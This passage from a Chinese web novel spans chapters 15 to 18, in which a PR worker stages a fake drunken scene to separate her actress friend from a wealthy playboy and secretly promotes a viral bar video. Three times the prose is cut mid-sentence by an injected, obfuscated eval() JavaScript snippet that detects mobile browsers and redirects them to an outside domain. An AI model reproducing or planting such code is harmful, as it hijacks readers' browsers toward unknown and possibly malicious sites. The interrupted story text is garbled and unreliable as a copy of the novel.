门外是一个男生的声音,向宁记得他是刚才和那群记者一起来找枕安的大学生,好像是什么什么艺术社团的副部长。 向宁打开门,露出标准的商业假笑:“同学,还有事吗?” 男生微微倾身,动作介于鞠躬和点头之间:“您好!可能有点冒昧,我就是想问问,房间里那位艺人老师方便给我签个名吗?” 向宁抿了抿嘴,作为难状:“里面那个呀?他可不是什么大明星,只是个练习生,还没正式出道呢,连粉丝都没有。” “没关系没关系!星桥的艺人,不愁以后火不起来,您就让他给我签一个吧。”男生翻开手里的笔记本,“您看,我今天已经集到两个签名了,都是贵公司的艺人。” 纸页翻得飞快,向宁只看清了况星宸的名字,和另一个签名的残影。 她迟疑片刻,接过笔记本,微笑道:“好,不过只给你一个人签哦,可别叫外面那些同学来凑热闹。” “好!”男生一口答应下来。 转身进屋,向宁在他的视线盲区翻开笔记本,找到了刚才没看清的那个签名。 圆滚滚的艺术字,她再熟悉不过的笔迹。 终于能确认了。 高跟鞋,丝绒红裙,似曾相识的香水味。 果然是她。 15. 女人三分醉 巴掌大的笔记本上落着一个熟悉的名字。 星桥娱乐签约艺人,和向宁私交甚笃的年轻女演员,简晓夜。 可是这段时间,她不是应该在横店拍戏吗?什么时候回来的?跟剧组请假了吗?到这来做什么? 许多问题一起涌上心头,却都被一个想法压了下去——算了,回头再找她问问情况。 向宁把笔记本推到枕安面前,翻至空白页,玩笑道:“欧巴,给咱们公司的家族粉签个名吧。” 枕安靠近她轻声征求意见:“签什么?” “随便,现编一个。”向宁略微偏头,附在他耳边说道,“中文名,英文名,游戏ID,都行。” 枕安习惯性用握画笔的姿势拿起了签字笔,愣了一下才调整过来。 拔开笔帽,他犹豫了几秒,猴子捞月一般在大脑里打捞合适的名字,奈何连续几次都捞空了。 时间一秒一秒过得很快,再拖下去就容易惹人怀疑了。 没办法,他只好随便写下一个常用词,笔迹有点潦草,堪堪拼凑成一个稍显牵强的名字。 向宁拿回笔记本,略扫一眼就还给了门外的男生。 “谢谢谢谢!”他迫不及待地去辨认新的签名,磕磕巴巴地念了出来,“佐、匹、克、隆?是英文名的音译吗?” 向宁没想到枕安编的名字这么拗口,只得临场发挥满嘴跑火车的功力:“嗯……艺名嘛,可能也受到了西幻文化的影响,比如厄瑞玻斯、德罗维尔、赫尔弗林什么的……” 男生不疑有他,心满意足地告辞了。 这次关门之前,向宁特意找工作人员要来一块“请勿打扰”的牌子挂在了门外。 可惜还没消停几分钟,刘哥的吐槽电话就打了过来。 “我在人堆里滚了两大圈,这地方根本没有娱记,混艺术圈的那些记者又瞧不上况星宸。拍卖会都快结束了,我连一个采访都没联系到,那小子要是知道了,肯定又得跟我找茬!” “这还不简单?”向宁开展起了忽悠教学,“你就跟他说——有几个娱记见他大手一挥,砸一百多万买了一幅画,所以想针对艺人高额日薪、演唱会门票溢价、天价片酬和灰色税务等问题对他展开一系列采访。你觉得这些话题有舆论风险,帮他把记者全给挡回去了,不就OK了嘛。搞不好他还得谢谢你呢!” 刘哥恍然大悟,挂掉电话便去实践了。 枕安在一旁看着,眼中的惊叹情绪愈发浓郁。 “怎么了?”向宁不解。 “就是觉得,你糊弄起人来还真会对症下药。”枕安慢条斯理说道,“打个补丁——上一句话是百分之百的褒义。只是我这人嘴笨,所以讲的话听起来怪怪的。” 向宁被这呆板又真诚的解释逗笑了,不正经地承认道:“那当然,星桥娱乐全司上下,谁不知道向宁老师是糊弄学概论的金牌讲师?” “老师,您的课程能给外部人员留个旁听名额吗?”枕安规规矩矩地举起手,“我想报名。” “啧。”向宁作恨铁不成钢状,“这孩子,怎么不学好呢?” 枕安低头偷笑一声,喃喃道:“技多不压身嘛……” 说说笑笑间,拍卖会的后半场也很快结束了。 况星宸领着团队的工作人员去补拍vlog素材,向宁难得清闲,不但提前结束了加班计划,还因着帮枕安挡记者的这份人情,受邀去他家蹭了一顿饭。 嗝,还是那么好吃。 晚上回到家里,伺候猫猫吃完饭后,向宁正要联系简晓夜问清自己的疑惑,没想到她的经纪人赵姐先把电话打了过来,声音听起来很是急躁。 “小向,这几天晓夜有跟你联系过吗?” “没有,是出什么状况了吗?” “唉,这可怎么办。”赵姐长吁短叹起来,“她也没跟我讲一声,就擅自从剧组跑了,不知去向。我让人把附近找遍了都没结果,打电话她也不接!我现在正往横店赶呢。” “别急别急,晓夜应该已经回来了,我今天跑活动的时候看到她了。” 向宁简单讲了讲上午和简晓夜擦肩而过的巧合,赵姐先是松一口气,很快又警惕地问道:“当时她身边有没有跟着一个小白脸?” 向宁一愣:“具体是什么样的人呢?” “就是……油头粉面的,西装革履的,看起来挺有钱的人。” 啊? 参加拍卖会的人,大部分不是都这样么? 向宁没有头绪,追问道:“那人叫什么名字呢?我可以找朋友问问。” 赵姐沉默了十几秒才犹豫不决道:“你和晓夜关系好,告诉你倒没什么,但是……可千万别找外人打听啊,传出去不好……” 听了这话,向宁不由心里一沉:“我知道轻重,您说吧。” “那人叫,杜……杜琮?好像是吧,名字怪里怪气的,皮囊倒是不错,很有欺骗性,据说是个富二代。” 向宁重重一哼:“有印象,他也在现场。” 但…… 怎么又是他? 怎么哪哪都有他? 他是专和星桥的人过不去么? 赵姐语气不善道:“这种花花公子,有点钱就爱勾搭女艺人,我早跟晓夜说过,丫就不是一靠谱的人!没辙,我的话不顶用,人家勾勾手指,晓夜就跟着跑了,连戏也扔下不拍了!” 赵姐长篇大论抱怨起来,措辞渐渐让向宁听着很不舒服。 “赵姐,是不是有什么误会?”她忍不住出言维护起自己的朋友来,“我了解晓夜,她不是胡闹的人。” “你呀,就跟她穿一条裤子吧!”赵姐压着不爽的怒火,“既然她回去了,你也找机会帮着劝劝。剧组这边我帮她请了病假,但也糊弄不了太久,一个星期顶天了,这还是看在公司的面子上呢!” 关系到好友的事业,责任重大,向宁不敢踩deadline,硬着头皮承诺道:“我尽量……尽快完成任务。赵姐,你先别告诉她我知道这件事了。” 她知道简晓夜很有主见,高举“为你好”旗帜的爹味规劝只会起到反效果,必须想个曲折迂回的办法,把目的性全部隐去,让她主动来找自己才好。 这一想,就是一整晚。向宁在床上翻来覆去,怎么都睡不着。第二天卡着点走进办公室时,元气满满的麦秋早就到了。 “早啊,向宁姐!” “啊——唔。”她打了个大大的哈欠,“早啊——唔。”又接一个哈欠。 “你怎么脸色这么差啊?周末没休息好吗?”麦秋十分关切,把自己的保温杯递给她,“我这有养生茶,你要不要喝点?” “还休息呢……周末两天都在加班……”向宁把杯子还给麦秋,“谢谢,茶就算了。” 毕竟,她要的就是这种死人脸的视觉效果。 这天正好是11月5号,临下班时,况星宸的拍卖会一日游vlog终于剪完了,配上向宁早就编辑好的微博文案一起发出—— “特殊的价格,重要的日期,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797497|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馨的礼物,送给我爱的人[爱心] LOVEFOR115 LOVEYOUFOREVER” 最后两句之所以用英文写,不过是为了打擦边球。 YOU这个单词,既可以指特定的“你”,用于满足况星宸给祝璋献殷勤的需求,也可以泛指“你们”,粉丝看到后如何感动自不必提。 最重要的是,发完这条微博,向宁终于可以下班了! “小秋,今晚有安排吗?” “没有。” “要不要陪我演场戏?加班费按小时算,我自掏腰包。” “演戏?”麦秋犹豫了,“可是我不会……” “不用你上场,”向宁一把揽过她的肩膀,“做场务就行。” “那行。”两人轻轻击掌,“幕后,我是专业的。” 话虽如此,可是麦秋作为“专业人员”怎么也不会想到,向宁竟然把戏台搭在了公司楼下的酒吧里,表演道具还是货真价实的鸡尾酒。 当然,向宁给她这个小场务点的饮料并不含酒精。 “干杯!” 半小时不到,麦秋那一杯饮料还没喝完,向宁的酒已经续了三次。 还好她已经在喝醉之前把该交代的事情都讲清楚了。 “向宁姐,我不太明白。”麦秋用吸管一下下戳着玻璃杯底,“你不是说公关部不负责预防艺人犯错,只负责收拾烂摊子吗?为什么你还要大费周章去掺和这件事呢?” “你不明白……换了别人,也就算了,可是晓夜……”向宁的声音染上了醉意,“她是我很好,很好的朋友。大学,我们,一个班,一个寝室。她,很好……” “好了好了,少喝点。”麦秋从她手里抢过酒杯放在一旁,“向宁姐,原来你大学读的是表演系啊!那怎么没去拍戏呢?” 向宁眯起眼睛,向前靠了靠,低声道:“因为,我有,很,很重要的,使命。” “啊?”麦秋半信半疑,盯着她微红的双颊问道,“什么使命?” 向宁招招手,让麦秋坐到自己身边来,搭着她的肩膀,将下巴垫在自己的手背上,用气声回答道:“拯救……地球……嘿嘿……还有……” 麦秋被她吹得耳朵发痒,怕她摔着,又不能躲,只好扶着向宁的腰帮她坐正了些,还不敢放开手,无奈道:“都醉成这样了,你确定今晚能顺利执行你的计划吗?” “我,告诉你,老话说得好。”向宁又拿起了酒杯,“女人三分醉,演到你流泪。不,演到晓夜流泪,成,成江水。” “你快放下吧,姐姐。”麦秋又把酒杯夺过来,“你这还三分醉呢?都九分醉了!再喝下去,我就该流泪了!” 向宁见她一脸操碎了心的样子,忍不住噗嗤笑出了声,捂着脸越笑越起劲。半晌,她分开手指,睁眼去观察麦秋的反应。 麦秋原本还在担忧,可是一对上她那双清醒中带着狡黠的眼睛,就知道自己被骗了。 向宁根本没有喝醉。 “怎么样,大学四年的表演功底还在吧?”她捏着麦秋呆若木鸡的脸,“女人一分醉,照样演到你流泪。” “我服了,真服了。”麦秋重重鼓了几声掌,“你要是去拍戏,高低得捧一座小金人回来。” “行了行了,别恭维我。” 向宁清一清嗓子,拿起手机,给简晓夜的私人号码打去了电话。 嘟—— 嘟—— 嘟—— 开演。 16. 丈母娘驾到 “喂,宁宁。”简晓夜的声音很甜。 向宁不答话,只是抽泣,混着周围杂乱低沉的音乐声,让人十分担心。 “怎么了?”简晓夜有点慌神,“怎么哭了?是不是遇到什么麻烦了?” “没有。”向宁的声音含糊不清,“就是,就是想你。” “你在什么地方?”简晓夜下意识揪紧了手边的餐巾,“安全吗?有人陪着你吗?” “我,我在……酒吧,公司,那个,楼下……酒吧,没人陪我……”向宁哭得更厉害了,“煦晗姐,上海,出差……你&*#~横店,没人,没人陪我……” “宁宁,你别急,我不在横店,我回来了。”简晓夜抬起头,给对面的人投去一个道歉的眼神,“别哭,我现在去接你好不好?等我,就半小时。” 匆匆挂掉电话,简晓夜一刻也不敢多耽搁,马上起身穿外套。 “实在抱歉,杜总,我——”她怕朋友的身份不够有说服力,便及时改了称呼,“我姐姐出了点事,我得去看看。” “应该的。”杜琮放下酒杯,“我开车送你吧,顺便也让你姐姐……见见妹夫?” 简晓夜并不愿他跟着,便用关心的语气说道:“你喝酒了,外面查得严呢。” “抿了两口红酒而已,味道都没尝出来,没事的。”说完还习惯性吹起牛来,“再者说,你也不是不知道我们家的背景。就算我真的酒驾了,谁又敢把我怎么样?” “要不,叫你的保镖来开车吧。” 杜琮给她披上外套,附耳笑道:“那多打扰咱们二人世界啊?” 简晓夜急着去接向宁,不想再浪费时间跟他拉扯,只得答应下来。 好在今晚这顿饭连前菜都没上齐,杜琮确实只尝了点酒味,否则她还真不放心带向宁坐他开的车。 简晓夜紧张地捏着自己的手,很凉,出了一层薄汗。 也不知道向宁那边怎么样了。 该死,又堵车。 …… 向宁那边,此刻已经续上了第四杯酒。不是用来喝的,只是道具而已。 她一挂掉电话就收起了眼泪,中场休息嘛,还要留着精力演后半场呢,那才是重头戏。 时间差不多了,终于可以轮到场务发光发热。 麦秋离开酒吧,坐在街边的长凳上,仔细观察着来来往往的车。一看到简晓夜下车,就立马发消息给向宁报信。 收到消息的同时,向宁便开始酝酿情绪。在一分钟之内哭出来?小儿科! 估摸着简晓夜快走进酒吧了,向宁模仿印象里的醉鬼,直接“睡倒”在了面前的桌子上。 不过前后脚的工夫,就有一只手搭上了她的胳膊,试探着摩挲起来。 “美女,喝醉啦?”那人呼吸间喷吐着酒气,“哥哥送你回家,好不好?” 向宁在心里骂了句脏话。 要不是正在等人,她非得对这只不怀好意的癞蛤蟆用点暴力手段。 那人见她毫无反应,大约已经睡死过去,便放大了胆子,手上不干不净地拉扯起来。 很快,他的脸上就出现了一个泛红的巴掌印。 “拿开你的脏手!滚蛋!” 简晓夜打完一巴掌,又用力把他推开,护在了向宁身边。 她堪堪算是三线艺人,并不是家喻户晓的明星,今晚又戴着墨镜和口罩,在灯光昏暗的酒吧里并不担心被人认出来,言谈举止都没太多顾虑。 那人被她打了,还想找回点脸面,厉声吼叫起来:“滚你二大爷的蛋!老子是她男朋友,你算老几!” 简晓夜挽起袖子,双手叉腰,摆出了毕业大戏演曹七巧的刻薄架势,高声道:“你是她男朋友?我是她妈!你也不照照镜子就想傍富婆啊?行,先跪下敬杯请安茶,磕三个响头,叫声丈母娘我听听!” 这一招险些破了向宁酝酿好的情绪,引得店内看热闹的人也发起笑来。 那人本就是个欺软怕硬的草包,此刻终于自觉没脸,悻悻溜了,嘴里还不住地嘟囔着:“疯婆娘……真是疯婆娘……” 简晓夜呸了一声,继而揽腰搭胳膊,架起向宁便往外走。 向宁半眯着眼,看见周围有不少人用手机拍下了这场闹剧。 真好。 希望有人能把视频发在网上。 到时候找个合适的账号加加温,等热度变高以后,再安排路人号“认出”视频里见义勇为的女主角是简晓夜,简直是白送的营销素材嘛。 酒吧门口,简晓夜扶向宁上了车,两人一起在后座坐定。 杜琮本想跟这位“姐姐”打个招呼,见她满脸泪痕,意识仍未清醒,想想还是算了。 “去哪?”他问。 “去我家吧。”简晓夜报了个地址。 “第一次去你家,”杜琮笑吟吟看了眼斜上方的后视镜,“这机会来得没我想象中那么浪漫啊。” 简晓夜打了个哈哈:“你看,今晚这情况……实在特殊,我就不留你喝醒酒汤了。” “没关系,”杜琮收起嘴角的笑意,“以后多的是机会。” 向宁人在装睡,耳朵却一直竖着,在心里跟他呛了好几句。 不过,今晚见到了杜琮本人,也算是个意外收获,至少能给她的后半场戏降点难度,话题引得不至于太过生硬。 车开到目的地时,向宁恰好“悠悠醒转”,醉眼朦胧地跟杜琮道了声谢,才被简晓夜搀扶着上楼去了。 进门以后,向宁被安置在了卧室里,简晓夜把网上搜来的几种解酒方法在她身上试了个遍,直到她看上去清醒多了才罢休。 向宁朝简晓夜的方向滚了一圈,把头枕在她的腿上,轻声问道:“刚才那个人,是你男朋友吗?” 简晓夜头也没抬,淡淡道:“还不算是。” 向宁像是没听见她的答案一样:“你,不仗义!谈恋爱,不告诉我。” “得了吧,能告诉你的,不得是正儿八经有名分的对象啊?他还不够格。”简晓夜低头帮她把糊在脸上的头发理顺,“再说了,你谈过的男朋友里,正式介绍给我的不也只有一个法学男,一个记者哥嘛?” 向宁伸手去戳她的脸:“不要转移话题。” 简晓夜捏住她的手指:“说正经的,你今天到底怎么了?为什么一个人去喝酒?” 向宁的情绪上得很快,泪水马上就盈在眼眶里了:“没什么,就是,工作上的事。” “张洋又给你气受了?” “不是他。就是,况星宸,被人坑了一百多万,就拿我撒气。还有……算了,说了你也不认识。” “别卖关子,赶紧说,到底是谁?” 向宁噘着嘴,怏怏不乐道:“说到底,都怪那个杀千刀的二世祖!叫,杜……杜什么来着?就在嘴边了……” 简晓夜听了这话,再结合况星宸那档子事,怎么会猜不到她说的是谁:“杜琮?” “对!就是他!”向宁一翻身爬起来,支着身子抬头问道,“你认识他啊?” 简晓夜耸耸肩:“刚才开车的那位不就是么?” “他?就是!啊?”向宁假作吃惊状,“晓夜,他可会使坏了!你别和他玩嘛,好不好?” 简晓夜见她说起酒话来像个孩子似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797498|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不由一笑:“如果你说的‘使坏’指的是拍卖会的事,那……是事出有因的。” “什么因?” 简晓夜刚要回答,忽然又改了口:“你先答应我一件事,我再陪你聊八卦。” “什么事?” 简晓夜正色道:“以后除非有值得信任的人陪着,否则不许一个人喝得酩酊大醉,多危险呐?” 向宁面露愧色:“我答应,都依你。” 简晓夜用力戳了戳她的脑门,才重新接上刚才的话题:“杜琮有个喜欢了很多年的白月光,一直没追到。最近他偶然得知白月光居然找了况星宸做男朋友,心里气不过,所以就设了个套,坑他一把。” “原来是这样。”和向宁的猜测方向大体一致,所谓白月光,应该就是祝璋了,“可是,既然他有喜欢的人,为什么还要追你啊……” “男人的劣根性咯,得不到白月光,就算再怎么喜欢,再怎么放不下执念,也不会为人家守身如玉的。” 简晓夜冷笑一声,继续说道:“更何况,他对白月光也未必真有多诚心。毕竟……表演自己的深情被辜负,本身就是一种吸引女孩的手段嘛。否则我们认识没多久,他又何必掏心掏肺说这么些话呢?” 向宁怎么会不明白这些道理,刚才之所以装出一副疑惑的样子,不过是为了循序渐进,一步步引导简晓夜看清杜琮的真实嘴脸。 可是现在看来,简晓夜早就对这一切心如明镜,并不像赵姐说的那样,被杜琮的皮囊和钱包冲昏了头。 “你都知道,还顺着他的圈套往下走?” 简晓夜沉默了许久,久到向宁紧皱的眉头开始发酸,她才压抑着哭腔开了口。 “宁宁,你说,我是不是就长了一张恶毒女配的脸?眉毛写着轻浮,眼睛写着虚荣,鼻子写着心机,嘴巴写着傲慢?” 向宁推一把她的肩膀:“胡说什么!” “这是导演的原话。哦,就是我正在拍的那部戏。”简晓夜自嘲地笑了笑,“他让我不要自视甚高,我这张脸,注定了一辈子都吃不上主角饭。” “你是想说,杜琮能在事业方面帮到你?”向宁持怀疑态度。 “刚认识的那天,他就已经帮了我不小的忙。”简晓夜睁大双眼朝天花板看去,她不想在朋友面前哭,“至于以后他愿意提供多少帮助,总要试一试才知道。” “晓夜……” “我知道你想说什么。”她握住向宁的手,希望她能安心,“赵姐总以为我心野了,上赶着要傍大款去。可你是懂我的,我不会做嫁入豪门的腌臜梦,也不会刻意避开送到眼前的跳板。说到底,各取所需的人,早就做好吃散伙饭的准备了。” “就算是找一块跳板,你也得让我把把关吧?”向宁抱住她的胳膊,软磨硬泡起来,“我不管,无论下次他要带你去哪,我肯定会想办法在现场‘偶遇’你们的!” “下一个活动啊,倒是不远,就在周五晚上。不过……你要是能混进去,我可真的要刮目相看了。” “什么了不得的活动?这么难混进去,监狱探监啊!” 简晓夜笑着呸了一声:“是他白月光办的一场酒会,规模不大,只有收到邀请函的人才能入场。” “喔……这样……” 向宁佯装失落,心里却已经开始盘算了——该找谁帮这个忙呢?枕安,还是况星宸? 枕安好说话,但是如果欠了他的人情,不知道该怎么还。 况星宸那边未必愿意帮忙,但是欠了他的人情,就算不还也不会有什么负罪感。 嗯…… 还真是艰难的抉择呢…… 17. 邀请函 次日上午。 “酒会邀请函?”况星宸满腹狐疑,“你要去干嘛啊?” 向宁总是不正经回答他的问题:“我偷东西去,孩子上学急用钱呢。” “没听说过谁家送小猫去上学的。”况星宸见她不说实话,心里顿时警铃声大作,“你不是要去监视我吧?” 向宁没忍住嘁了一声:“我没那么闲,周五晚上还自发加班工作。” 况星宸想想也是,便不多纠结这个问题,只说:“多的邀请函呢,我这倒是有。不过只有一张,而且是给刘哥准备的,不能给你。” 刘哥? 艺人的私人行程,他跟着去做什么? 人家小情侣谈情说爱,难道缺个电灯泡么? 况星宸听她那边暂时没有动静,便继续说道:“再说了,就算我愿意帮你,也不大合适啊。毕竟那是我女朋友办的酒会,我怎么能把她的邀请函转送给别的女孩呢!让她知道了,又是说不清的麻烦。” 既然话已经说到了这份上,向宁要是再坚持让对方帮忙,就太没分寸感了。 看来这条路走不通。 幸好她身后还有一条备用的小路。 在电话里听向宁说明意图后,枕安没有立刻表态,而是询问道:“是你想去酒会么?还是帮别人要的邀请函?” “是我要去。” “喔。”枕安顿了顿,听起来有些为难,“我这里没有多余的邀请函,也不太好再向祝璋姐开口要……” 向宁自然很失望,礼貌地道了句打扰,准备挂了电话再找找别的出路。没想到枕安话锋一转,又帮她把路续上了。 “不过,我自己这张邀请函上标注了可以携伴出席。” “携伴?那这个‘伴’,应该没有什么限制吧?” “嗯。”枕安并不问她去做什么,“如果你不介意,可以和我一起去。” “太好了!”向宁十分欣喜,“这次算我欠你一个大人情,以后有什么事尽管开口。” “现在开口,可以吗?” “当然。”人情债实在难还,如果能当场结清,那是再好不过了。 “如果在酒会上遇到我应付不来的陌生人,可能还得麻烦你救场。” 互惠互利,买卖谈定。 结束通话后,枕安马上给祝璋发去了消息:「周五晚上的酒会麻烦算我一个,邀请函直接寄来就好。」 等待半晌,对面的回复终于来了:「你怎么知道周五有酒会?」 枕安秒回:「这话说的,我倒像是个不速之客。」 祝璋并没有那个意思,只是倍感意外罢了,于是回道:「知道你讨厌这种场合,才没邀请你的。既然想来,那就直接来吧,不用邀请函。」 枕安说明了缘由:「陪朋友去,邀请函还是需要的。」 祝璋意味深长回复道:「怪不得。」 不用追问,她也知道那位“朋友”是谁。 枕安的交际圈里,再没别人了。 然而他神秘的“朋友”本人却对这段插曲一无所知,挂了电话便埋头工作起来。 昨晚的酒吧就在楼下不远处,向宁打开几个社媒APP刷了刷“附近”和“同城”,很快就找到了想要的视频,还不止一个人发。 她选出一个将事情的来龙去脉拍得最完整的视频,如是吩咐麦秋:“把这个视频报给营销中心,买点热度,循序渐进,别太假。对了,不用通知艺人。” “好嘞!”麦秋点开她发来的链接确认完视频内容,不由好奇,“诶,这男的谁啊?是和你搭戏的演员吗?” “不是。”向宁扭头冲她抿唇微笑道,“只是一个占尽天时地利人和的臭流氓。” 麦秋鄙夷地撇了撇嘴。 能挨到大美女的一巴掌,真是便宜他了。 一套营销组合拳下来,简晓夜在酒吧见义勇为,保护醉酒女孩的视频刚好卡着晚饭时间上了热搜。 热评风向以夸赞为主,也夹杂着一些质疑她摆拍炒作的声音,还有人抓着女明星深夜出现在酒吧这一点不放,揣测她私下玩得野。 不过,后两种声音很快就被各种角度的反驳声淹没了。 简晓夜并不知道这条热搜背后有向宁做推手,回应得理直气壮—— 「谢谢大家的关心,视频里的女孩是我朋友,我绝不会拿她受欺负的事去摆拍炒作。昨晚戴了口罩和墨镜,没想到会被大家认出来。动手打人是我不对,但是以后如果再遇到这种事,我还会犯同样的错。」 不出意料,这条微博下的评论使向宁挂上了姨母笑。 “不管怎么说,打人都不对,罚你接我一记飞吻[害羞]” “姐姐错在徒手打人,建议下次用棍子,这样手就不会疼了。” “妈咪威武[爱心]以后我是你的女儿粉!” “为什么要奖励他?姐姐踩我[心心眼]” 向宁的其他朋友看到热搜,认出视频里的人是她,陆续都发来消息表达了关心,唯独陶温态度不同,只发来四个满含揶揄的字。 「演技不错。」 向宁晾了他一阵才回复。 「谢谢,你也是。」 这句话,够他琢磨好几天了。 一晚上过去,简晓夜在各平台都涨了数万粉丝。向宁见好就收,没有推新的热搜词条,免得她又被人说是蓄意炒作。 这件事的热度并没有随着热搜一起消失,而是持续了好几天。简晓夜的粉丝数一直在涨,只不过速度一天天慢了下来。 周五清晨,简晓夜时尚杂志封面的词条忽然空降在热搜榜上,停留三个小时就撤了。 向宁问了本人才知道,原来那个热搜是杜琮给她买的。 真抠。 她不由腹诽。 买也不买个贵点的时间段,词条还那么没创意,基本可以判定为无效热搜。 不过,这倒是提醒了她—— “小秋,杜琮的信息查得怎么样了?”向宁难得催问一次助理的工作进度,“Deadline是今天中午哦。” “基本OK了,还有些细节没查清楚,你要先看看初稿吗?” 向宁失笑:“你不是给我写了篇论文吧?” 麦秋敲下发送键,一本正经道:“嗯,差不多。” 她这话并没有夸张,这份调查报告完全是按照论文格式写的,连参考文献都附上了。 事业部分,除了总结各类经济刊物报道的信息以外,竟还有各种“细扒豪门恩怨”的八卦图文,读来使人啧啧称奇。 向宁也是现在才知道,原来祝璋曾经有过两个哥哥,一个弟弟,可惜三人全都没养到十八岁就英年早逝了。 然而她父亲祝高远像是对所谓“儿女双全”有执念似的,又认了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797499|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经成年的杜琮做干儿子,这才算踏实下来。据小道消息说,杜琮的八字很旺祝高远的事业,也不知道是真是假。 至于私生活部分,麦秋双管齐下,找做了财经记者的师姐师兄们打听完,又去找以前一起做站姐的朋友们打听,获知了许多“一手史料”。 这份调查报告一读就是一下午,向宁边读边划重点,把所有可用的线索总结成了一张表格,圆满填补了麦秋来不及查清的缺口。 直到闹钟响了,向宁才想起来晚上还有正事要做。 出发以前,她先给简晓夜打了个电话,却只听到对方已关机的提示。 不知道发生了什么,看来只能当面聊了。 向宁提前十分钟到达约定地点,没想到枕安竟然来得比她还早。 同样穿着一身西装,枕安身上那套看起来就正式许多,中规中矩的黑色不仅挑不出错,还很显身材。 相比之下,向宁这身西装则更为休闲。雪青色的宽松外套是不对称的版型,配套的阔腿裤遮住了大半双纯白皮靴。 酒会地点就设在无章美术馆一楼的展厅里,门口车来车往,宾客陆续到达。 核验邀请函时,向宁瞟了一眼登记名册,简晓夜和杜琮还没到,况星宸和刘哥倒是早早来了。 奇怪的是,工作人员看过枕安的邀请函后并未要求他们登记留名,只从一个精致的盒子里拿出一枚胸针帮枕安别上,然后直接将二人带入了展厅。 向宁不明白这胸针有何用途,只觉得它挺闪,挺漂亮的,只是形状太过写意,不太辨得清原型。 看着像天鹅,又像飞鸟,更像丹顶鹤——只是那抹红色不在脑袋上,而在脖子上。 展厅里人不多,每条长桌上都摆着几座玻璃杯塔,工作人员将精致的点心分类布置在四周。 向宁挑了个视野开阔的位置,一边耐心等待,一边有意识地观察四周的人。 奇怪,为什么其他人都没有被要求别上同款胸针呢? 难道这是什么特殊的标记吗? 向宁想问问枕安,可是一扭头看到他,不知不觉就换了问题:“你今晚打算一直戴着墨镜和口罩吗?” “这样比较有安全感。” “也不吃不喝了?” “嗯。”枕安不假思索,“这里的点心很难吃。” “啊?不会吧……” 向宁不信邪,拿起一块巧克力放进嘴里,本以为这类零食难吃不到哪里去,却不料只尝出了满嘴苦味,品不出一丝醇香,激得她五官骤缩,眼泪都要流出来了。 看来人呐,还是得听劝。 向宁在长桌上的各种饮品里挑来挑去,想漱漱口,又怕再踩一次雷。 枕安从口袋里摸出两颗薄荷糖塞给她:“用这个吧。” “多谢。” 两颗糖在向宁嘴里打了半天架,还没分出胜负便遇飞来横祸,被她咔嚓咬碎,只留下一股倔强的薄荷香气。 促使这场战局提前结束的正是姗姗来迟的简杜两人,向宁隔着老远就看到了他们。 当然,还有他们身边围着的一圈保镖。前呼后拥,好大的阵仗。 保镖们又高又壮,挡住了简晓夜的大半身影,自然也会遮蔽她的视野。 看来,向宁想凑上去表演“偶遇”并不容易。 既然这样,就只能想办法让简晓夜先注意到她了。 18. 向·特工代号·宁 “再帮个忙,可以吗?”向宁问。 枕安点点头:“怎么帮?” 向宁勾勾手示意他附耳过来,寥寥数语讲清任务,枕安虽然答应帮忙,却忍不住多问一句:“这是唱的哪一出?” “一出洋戏。”向宁用手摆出手枪姿势,抵在唇边轻轻一吹,“JamesBond,需要找机会传递重要情报。” 枕安一知半解,配合道:“好的,特工小姐。” 于是二人分头行动。 枕安盯紧向宁,等她发送暗号。 向宁则在手机上戳戳点点,修改了几个设置,继而假装去参观墙上的挂画,慢悠悠移步到了杜琮一行人附近。 距离拉近得差不多了,向宁从身旁的长桌上端起一杯红酒。枕安看到这个动作,马上给她打去了电话。 手机音量已被向宁开到最大,铃声骤然响起,周围其他人并没有多加注意,唯独简晓夜偏头看了看。 真巧,cityofstars,宁宁给我设的专属铃声也是这首歌呢,她想。 紧接着,她便听到接电话的那人叫出了一个久违的称呼。 “喂,二小姐,别来无恙啊。” 二小姐,这是大学室友们给简晓夜起的外号,因为大家一致认为最贴合她外形条件的角色就是财阀家的小女儿。 简晓夜起初一听到这个称呼就会起鸡皮疙瘩,总觉得身上沾了股酸腐的封建残余味。不过室友们并无恶意,这个称呼更像是一种亲昵的调侃,听多了也就习惯了。 “嗯,是我。打电话给你,当然是因为有重要的事想告诉你呀。” 等等,这个声音,怎么有点像…… 简晓夜循着声音传来的方向望去,却被人高马大的保镖挡住了视线。 “你那边不方便讲话吗?那就找个安静的地方再聊吧,先挂了。” 没错,是向宁,简晓夜认出了她的声音,也听懂了她的暗示。 “杜总,”她放开挽着他胳膊的手,柔声道,“失陪一下,我去洗手间补个妆。” 杜琮闻言想起一句话——女为悦己者容。 他不由心下暗喜:“去吧,不着急。” 